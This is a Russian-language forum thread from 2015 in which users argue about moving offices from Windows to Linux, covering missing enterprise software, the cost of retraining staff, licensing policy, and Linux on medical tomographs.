Только он забыл упомянуть , что проблема в том, что есть куча софта которого под никсами нет просто потому что разрабы не стали под него писать. Можно? Можно. Но - нету. Вот прямо сейчас нету. Когда появится - тогда можно будет дискутировать. Пример? Система электронного документооборота. Не абы какая - а те что имеют необходимые качество и функционал. Например ДИРЕКТУМ (отечественный кстати). Ничего адекватно заменяющего под никсы нет. И пока нет - она будет ставится на винду, а по цепочке и все остальное туда же. И да - уважаемые линуксоиды - есть такое понятие как сложность обучения. Тех же бухгалтеров. Вы можете сколько угодно верещать про кривые руки - но НИКТО из бухгалтеров учить что то новое (тем более консоль) не будет. И их за это никто не уволит. Потому что нужного количества "пряморуких" бухгалтеров в природе не существует.

Вы путаете понятия "можно принципиально" и "можно быстро легко и прямо сейчас". Кроме того касаемо денег - можно поставить кое-где бесплатный софт - но посчитайте сколько ДЕНЕГ будет стоить переучить всех пользователей конкретной фирмы с числом сотрудников хотя бы больше сотни. Уверяю - выйдет гораздо дороже. Причем денег будут стоить не только "курсы", но и ПРОСТОИ в работе фирмы неизбежно возникающие при радикальных перестройках и смены инструментария. И их цена может на порядки превышать стоимость лицензий - особенно если вопрос с лицензиями решить "творчески" как это обычно и делается на просторах необьятной. На мой взгляд дешевле быстрее и легче решать вопрос выкупая лицензии на софт в собственность государства (если надо то вместе с контрольным пакетом акций производителя) и предоставляя их гражданам страны (или фирмам хотя бы) вообще бесплатно. По факту гражданства. Или же заставлять иностранных производителей радикально снижать цены всякими хитрыми законопроектами смысл которых - если хотите здесь продавать то снижайте радикально цены.

Аватар пользователя BarBoss
BarBoss(2 года 12 месяцев)(02:45:27 / 31-10-2015)

Вы можете сколько угодно верещать про кривые руки - но НИКТО из бухгалтеров учить что то новое (тем более консоль) не будет.

Пользователям вообще без разницы, что учить. Я учил и тех и тех. И даже DOSу учил. Индивидуально, не группой. С линуксом даже проще - у ученика меньше возможностей наломать дров. Батхед только у "продвинутых" пользователей, которые не могут поставить на служебную машину мульку для любимого телефона и чатик от mail@ru. А зачем бухгалтеру консоль и что в ней, собственно, учить? Кстати, периодические  изменения интерфейса винды и офиса выносят пользователям мозг почище любого линукса.

По поводу безопастности... О чём вообще можно говорить, когода почти на 100% домашних машин с виндовсом пользователь работает с привилегиями администратора? Да и на служебных нередко... Сообщения семёрки пользователю в духе "...программа пытается внести изменения... как поступить?" - умиляют, поскольку для пользователя они - филькина грамота, да и администратору не всегда ясно, откуда взялась эта хрень.exe которой позарез нужен порт 12345 и что с ней делать.

Почитал автора, почитал камменты ...

И стало очевидно, что автор треда в данном вопросе ни разу не копенгаген. Зачем было позориться?

Аватар пользователя DogFaceBoy
DogFaceBoy(2 года 3 недели)(07:08:44 / 28-10-2015)

"Вообще в медицине, кроме спецоборудования со своими прошивками, возможен линукс? Существует линуксовый софт для работы с томографом?"

Вообще-то, в медицине все томографы работают на линуксе. У меня вот на работе на томографе стоит Red Hat. Не помню НИ ОДНОЙ поломки томографа по причине глюков ОС. Да и глюков-то просто нет.

Аватар пользователя Abgeschmiert
Abgeschmiert(2 года 2 недели)(16:54:39 / 31-10-2015)

Лидеры обсуждений

за 4 часаза суткиза неделю

Лидеры просмотров

за неделюза месяцза год

СМИ

Загрузка...